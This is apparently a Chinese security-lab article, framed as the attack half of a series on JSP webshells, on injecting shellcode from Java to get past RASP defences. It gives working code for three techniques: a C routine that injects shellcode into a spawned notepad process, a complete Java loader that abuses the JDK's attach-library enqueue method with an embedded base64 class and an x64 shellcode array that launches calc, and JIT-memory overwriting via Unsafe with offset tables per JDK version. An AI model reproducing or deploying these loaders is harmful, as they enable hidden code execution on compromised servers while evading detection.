作者:p1ay2win@天玄安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/5mK4twhCLtbiHdO0VZrX1A
前言
隨著RASP技術的發展,普通webshell已經很難有用武之地,甚至是各種內存馬也逐漸捉襟見肘。秉承著《JSP Webshell那些事——攻擊篇(上)》中向下走的思路,存不存在一種在Java代碼中執行機器碼的方法呢?答案是肯定的,常見的注入方式有JNI、JNA和利用JDK自帶的Native方法等,其中筆者還找到了一種鮮有文章介紹的,基于HotSpot虛擬機,并較為通用的注入方法。
基于JNI
Java底層雖然是C/C實現的,但不能直接執行C/C代碼。若想要執行C/C++的代碼,一般得通過JNI,即Java本地調用(Java Native Interface),加載JNI鏈接庫,調用Native方法實現。
Cobalt Strike官網博客上有一篇《如何從Java注入shellcode》的文章,便是基于JNI實現,通過Native方法調用C/C++代碼將shellcode注入到內存中。
//C/C++代碼中聲明的函數對應Demo#inject本地方法
JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv * env, jobject object, jbyteArray jdata) {
jbyte * data = (*env)->GetByteArrayElements(env, jdata, 0);
jsize length = (*env)->GetArrayLength(env, jdata);
inject((LPCVOID)data, (SIZE_T)length);
(*env)->ReleaseByteArrayElements(env, jdata, data, 0);
}
//執行注入shellcode的代碼
/* inject some shellcode... enclosed stuff is the shellcode y0 */
void inject(LPCVOID buffer, int length) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hProcess = NULL;
SIZE_T wrote;
LPVOID ptr;
char lbuffer[1024];
char cmdbuff[1024];
/* reset some stuff */
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
/* start a process */
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = NULL;
si.hStdError = NULL;
si.hStdInput = NULL;
/* resolve windir? */
GetEnvironmentVariableA("windir", lbuffer, 1024);
/* setup our path... choose wisely for 32bit and 64bit platforms */
#ifdef _IS64_
_snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
#else
_snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);
#endif
/* spawn the process, baby! */
if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
return;
hProcess = pi.hProcess;
if( !hProcess )
return;
/* allocate memory in our process */
ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/* write our shellcode to the process */
WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote);
if (wrote != length)
return;
/* create a thread in the process */
CreateRemoteThread(hProcess, NULL, 0, ptr, NULL, 0, NULL);
}
這種方法需要自行編寫個鏈接庫,并上傳到受害服務器上,利用起來并不顯得優雅。
還有另一種方法是利用JNA第三方庫,可以直接調用內核的函數,實現Shellcode注入。在@yzddmr6師傅的Java-Shellcode-Loader項目中有實現,但JNA本質上還是基于JNI,使用時還是要加載JNA自己的鏈接庫,并且JDK中默認不包含JNA這個類庫,使用時需要想辦法引入。
基于JDK自帶的Native方法
第一個介紹的可能是冰蝎的作者@rebeyond師傅首先發現的方法,一種基于JDK自帶的Native方法的shellcode注入,嚴格來說是基于HotSpot虛擬機的JDK的自帶Native方法。它是sun/tools/attach/VirtualMachineImpl#enqueueNative方法,存在于用于attach Java進程的tools.jar包中。
當運行在Windows上時,相應的enqueue Native方法實現在/src/jdk.attach/windows/native/libattach/VirtualMachineImpl.c中,其中Create thread in target process to execute code的操作,不能說跟前面Cobalt Strike注入shellcode的操作毫不相干,只能說是一模一樣。
JNIEXPORT void JNICALL Java_sun_tools_attach_VirtualMachineImpl_enqueue
(JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
jstring pipename, jobjectArray args)
{
...
/*
* Allocate memory in target process for data and code stub
* (assumed aligned and matches architecture of target process)
*/
hProcess = (HANDLE)handle;
pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );
if (pData == NULL) {
JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
return;
}
WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );
stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);
if ((*env)->ExceptionOccurred(env)) return;
pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if (pCode == NULL) {
JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
(*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
return;
}
WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
(*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
/*
* Create thread in target process to execute code
*/
hThread = CreateRemoteThread( hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE) pCode,
pData,
0,
NULL );
...
}
當然你不能說這個是bug,只能說是feature。

相應的Demo是比較簡單,在stub參數中傳入shellcode即可,@rebeyond師傅已經給出了代碼,筆者在這里做了點簡化。不過實現Native方法的鏈接庫attach.dll默認存在,但tools.jar這個包不一定存在,@rebeyond師傅巧妙的利用了雙親委派機制,當jvm中沒有加載VirtualMachineImpl類時,就會使用下面base64編碼的類替代,當然這種方法僅適用于Windows,因為Linux下enqueue并不是這么實現的。
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.Base64;
public class WindowsAgentShellcodeLoader {
public static void main(String[] args) {
try {
String classStr = "yv66vgAAADQAMgoABwAjCAAkCgAlACYF//////////8IACcHACgKAAsAKQcAKgoACQArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAChMc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYBAApFeGNlcHRpb25zBwAtAQALb3BlblByb2Nlc3MBAAQoSSlKAQADcnVuAQAFKFtCKVYBAAR2YXIyAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADYnVmAQACW0IBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAGldpbmRvd3NWaXJ0dWFsTWFjaGluZS5qYXZhDAAMAA0BAAZhdHRhY2gHAC4MAC8AMAEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0DAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAxAA0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UAIQALAAcAAAAAAAQAAQAMAA0AAQAOAAAAMwABAAEAAAAFKrcAAbEAAAACAA8AAAAKAAIAAAAGAAQABwAQAAAADAABAAAABQARABIAAAGIABMAFAABABUAAAAEAAEAFgEIABcAGAABABUAAAAEAAEAFgAJABkAGgABAA4AAAB6AAYAAgAAAB0SArgAAxQABCoSBhIGA70AB7gACKcACEwrtgAKsQABAAUAFAAXAAkAAwAPAAAAGgAGAAAADgAFABAAFAATABcAEQAYABIAHAAVABAAAAAWAAIAGAAEABsAHAABAAAAHQAdAB4AAAAfAAAABwACVwcAIAQAAQAhAAAAAgAi";
Class clazz = new MyClassLoader().get(Base64.getDecoder().decode(classStr));
byte buf[] = new byte[]{
(byte) 0xFC, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0xE8, (byte) 0xC0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8B, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0F, (byte) 0xB7, (byte) 0x4A, (byte) 0x4A, (byte) 0x4D, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0x31, (byte) 0xC0,
(byte) 0xAC, (byte) 0x3C, (byte) 0x61, (byte) 0x7C, (byte) 0x02, (byte) 0x2C, (byte) 0x20, (byte) 0x41, (byte) 0xC1, (byte) 0xC9, (byte) 0x0D, (byte) 0x41, (byte) 0x01, (byte) 0xC1, (byte) 0xE2, (byte) 0xED,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8B, (byte) 0x52, (byte) 0x20, (byte) 0x8B, (byte) 0x42, (byte) 0x3C, (byte) 0x48, (byte) 0x01, (byte) 0xD0, (byte) 0x8B, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xC0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xD0, (byte) 0x50, (byte) 0x8B, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8B, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xD0, (byte) 0xE3, (byte) 0x56, (byte) 0x48, (byte) 0xFF, (byte) 0xC9, (byte) 0x41, (byte) 0x8B, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xD6, (byte) 0x4D, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0xAC, (byte) 0x41, (byte) 0xC1, (byte) 0xC9, (byte) 0x0D, (byte) 0x41, (byte) 0x01, (byte) 0xC1,
(byte) 0x38, (byte) 0xE0, (byte) 0x75, (byte) 0xF1, (byte) 0x4C, (byte) 0x03, (byte) 0x4C, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xD1, (byte) 0x75, (byte) 0xD8, (byte) 0x58, (byte) 0x44,
(byte) 0x8B, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xD0, (byte) 0x66, (byte) 0x41, (byte) 0x8B, (byte) 0x0C, (byte) 0x48, (byte) 0x44, (byte) 0x8B, (byte) 0x40, (byte) 0x1C, (byte) 0x49,
(byte) 0x01, (byte) 0xD0, (byte) 0x41, (byte) 0x8B, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xD0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5E, (byte) 0x59, (byte) 0x5A,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5A, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xFF, (byte) 0xE0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5A, (byte) 0x48, (byte) 0x8B, (byte) 0x12, (byte) 0xE9, (byte) 0x57, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, (byte) 0x5D, (byte) 0x48, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8D, (byte) 0x8D, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xBA, (byte) 0x31, (byte) 0x8B,
(byte) 0x6F, (byte) 0x87, (byte) 0xFF, (byte) 0xD5, (byte) 0xBB, (byte) 0xF0, (byte) 0xB5, (byte) 0xA2, (byte) 0x56, (byte) 0x41, (byte) 0xBA, (byte) 0xA6, (byte) 0x95, (byte) 0xBD, (byte) 0x9D, (byte) 0xFF,
(byte) 0xD5, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x3C, (byte) 0x06, (byte) 0x7C, (byte) 0x0A, (byte) 0x80, (byte) 0xFB, (byte) 0xE0, (byte) 0x75, (byte) 0x05, (byte) 0xBB, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6F, (byte) 0x6A, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xDA, (byte) 0xFF, (byte) 0xD5
};
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(buf);
byteArrayOutputStream.write("calc\0".getBytes());
byte[] result = byteArrayOutputStream.toByteArray();
Method method = clazz.getDeclaredMethod("run", byte[].class);
method.invoke(clazz, result);
} catch (Exception e) {
e.printStackTrace();
}
}
public static class MyClassLoader extends ClassLoader {
public Class get(byte[] bytes) {
return super.defineClass(bytes, 0, bytes.length);
}
}
}
package sun.tools.attach;
import java.io.IOException;
public class WindowsVirtualMachine {
public WindowsVirtualMachine() {
}
static native void enqueue(long var0, byte[] var2, String var3, String var4, Object... var5) throws IOException;
static native long openProcess(int var0) throws IOException;
public static void run(byte[] buf) {
System.loadLibrary("attach");
try {
enqueue(-1L, buf, "test", "test");
} catch (Exception var2) {
var2.printStackTrace();
}
}
}
基于oop偏移
這種是基于@Ryan Wincey和@xxDark兩位前輩的總結,基本原理是:多次調用某個方法,使其成為熱點代碼觸發即時編譯,然后通過oop的數據結構偏移計算出JIT地址,最后使用unsafe寫內存的功能,將shellcode寫入到JIT地址。其中涉及Unsafe、Oop-Klass模型和即時編譯這三個前置知識。
Unsafe類
Unsafe類是java中非常特別的一個類,提供的操作可以直接讀寫內存、獲得地址偏移值、鎖定或釋放線程。Unsafe只有一個私有的構造方法,但在類加載時候在靜態代碼中會實例化一個Unsafe對象,賦值給Unsafe類的靜態常量Unsafe屬性,我們發射獲取到這個Unsafe屬性即可。
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Unsafe讀寫內存的相關方法有getObject、getAddress、getInt、getLong和putByte等。
Oop-Klass模型
HotSpot JVM 底層都是 C/C++ 實現的,Java 對象在JVM的表示模型叫做“OOP-Klass”模型,包括兩部分:
-
OOP,即 Ordinary Object Point,普通對象指針,用來描述對象實例信息。
-
Klass,用來描述 Java 類,包含了元數據和方法信息等。
在Java程序運行過程中,每創建一個新的對象,在JVM內部就會相應地創建一個對應類型的OOP對象。Java類是對象,Java方法也是對象,而java類加載完成時在JVM中的最終產物就是InstanceKlass,其中包含方法信息、字段信息等一切java 類所定義的一切元素。

即時編譯(JIT)
為了優化Java的性能 ,JVM在解釋器之外引入了即時(Just In Time)編譯器:當程序運行時,解釋器首先發揮作用,代碼可以直接執行;當方法或者代碼塊在一段時間內的調用次數超過了JVM設定的閾值時,這些字節碼就會被編譯成機器碼,存入codeCache中。在下次執行時,再遇到這段代碼,就會從codeCache中讀取機器碼,直接執行,以此來提升程序運行的性能。整體的執行過程大致如下圖所示:

Openjdk和Oracle JDK在默認mixed模型下會啟動即時編譯,即時編譯的觸發閾值在客戶端編譯器和服務端編譯器上默認值分別為1500和10000。
原理分析
在JVM的本體:jvm.dll和libjvm.so中,存在這一個VMStructs的類,存儲了JVM中包括oop、klass、constantPool在內的數據結構和他的屬性。其中有使用JNIEXPORT標記的VMStructs、VMTypes、IntConstants和LongConstants的入口、名稱、地址等偏移的變量,借助ClassLoader的內部類NativeLibrary的find或findEntryNative方法(與JDK的版本有關),可獲取到這些變量的值。

然后通過InstanceKlass、Array<Method*>、Method、ConstMethod、ConstantPool、Symbol這些oop數據結構中的變量偏移計算出JIT的地址。

我們要計算出的目標JIT地址是目標函數的JIT地址,這需要目標方法經多次調用觸發即時編譯,并自動設置_from_compiled_entry屬性,然后對比函數名和Signature,從目標類眾多默認方法中過濾出目標方法來,再通過Method加上_from_compiled_entry偏移計算出來。(這里的Signature即形如()V、(Ljava/lang/String;)V、()Ljava/lang/String;的函數簽名)
上圖沒有提到InstanceKlass的獲取,其實只要通過Target.class獲取到目標類的類實例,再用Unsafe讀取類實例加上java_lang_Class的klass偏移即可。

JVM的JIT在內存中是一個可讀可寫可執行的區域,最后使用Unsafe的putByte方法寫入shellcode,再調用目標方法即可執行。這里要注意的是,如果使用沒有恢復現場,即破壞了原有棧幀的shellcode,會導致JVM奔潰,切勿在生成環境上測試。

以上的Demo代碼可以@xxDark的 JavaShellcodeInjector項目中瀏覽。
部分問題修復及改進
在32位的JDK跑Demo,JRE會拋出個異常,調試發現是從目標類實例獲取InstanceKlass的偏移:klassOffset,從內存取到的值是0,使得獲取到的klass不正確,導致Unsafe讀取了一個異常的地址。

問題的原因目前還不得而知,但通過HSDB找到java.lang.Class的InstanceKlass就可以看到klass的偏移,后續其他自動獲取的偏移也沒有出現異常。

上面自動化地計算偏移,要加載JVM的鏈接庫,還要獲取一堆JVM里的數據結構、記錄一堆oop和常量池的值,這要是想將POC寫成一個文件著實有點不方便啊。那有沒有一種簡單粗暴的方法呢?
答案是肯定的。筆者剛好裝有多個版本的JDK,發現JDK大版本和操作系統位數相同的時候,上面那些偏移是不變的。翻看JDK的源碼不難發現,這些offset歸根結底由offset_of宏得出,一個與C語言offsetof作用相同的宏,結果是一個結構成員相對于結構開頭的字節偏移量。

而通過之前查閱的資料得知,不同JDK大版本之間的oop數據結構才存在差異,我們只要記錄下這些相同架構和大版本的偏移,就能直接計算出JIT的地址,可以免去加載JVM鏈接庫和收集、存儲JVM里數據結構的操作。
以下是筆者收集的部分LTS版本JDK的oop相關偏移:
// JDK8 x32
static int klassOffset = 0x44;
static int methodArrayOffset = 0xe4;
static int methodsOffset = 0x4;
static int constMethodOffset = 0x4;
static int constantPoolTypeSize = 0x2c;
static int constantPoolOffset = 0x8;
static int nameIndexOffset = 0x1a;
static int signatureIndexOffset = 0x1c;
static int _from_compiled_entry = 0x24;
static int symbolTypeBodyOffset = 0x8;
static int symbolTypeLengthOffset = 0x0;
// JDK8 x64
static int klassOffset = 0x48;
static int methodArrayOffset = 0x180;
static int methodsOffset = 0x8;
static int constMethodOffset = 0x8;
static int constantPoolTypeSize = 0x50;
static int constantPoolOffset = 0x8;
static int nameIndexOffset = 0x22;
static int signatureIndexOffset = 0x24;
static int _from_compiled_entry = 0x40;
static int symbolTypeBodyOffset = 0x8;
static int symbolTypeLengthOffset = 0x0;
// JDK11 x64
static int klassOffset = 0x50;
static int methodArrayOffset = 0x198;
static int methodsOffset = 0x8;
static int constMethodOffset = 0x8;
static int constantPoolTypeSize = 0x40;
static int constantPoolOffset = 0x8;
static int nameIndexOffset = 0x2a;
static int signatureIndexOffset = 0x2c;
static int _from_compiled_entry = 0x38;
static int symbolTypeBodyOffset = 0x6;
static int symbolTypeLengthOffset = 0x0;
后記
筆者在JDK7也曾嘗試注入shellcode,但最后還是以失敗告終,不僅是因為JDK7到JDK8的oop數據結構發生了很大的變化,而是JDK7中的類示例中并沒有InstanceKlass結構成員,但java_lang_CLass中又確確實實存在_klass_offset這個結構成員,這點就比較奇怪。

翻看官方工具HSDB,發現是通過BasicHashtable<mtInternal>的_buckets結構成員獲取所有InstanceKlass的。由于JDK7上POC的oop數據結構需要改動較多,且還不知道BasicHashtable<mtInternal>要怎么獲取,所以JDK7下的POC還未實現。
最后兩個的shellcode注入方法基于Oracle JDK和Openjdk的默認JVM:HotSpot,其他一些的JVM的實現方法就要靜待各位師傅發掘。
文中若有錯誤的地方,望各位師傅不吝斧正。
參考
https://www.slideshare.net/RyanWincey/java-shellcodeoffice
https://qiankunli.github.io/2014/10/27/jvm_classloader.html
https://www.sczyh30.com/posts/Java/jvm-klass-oop/
https://jishuin.proginn.com/p/763bfbd58ef3
https://tech.meituan.com/2020/10/22/java-jit-practice-in-meituan.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1853/
暫無評論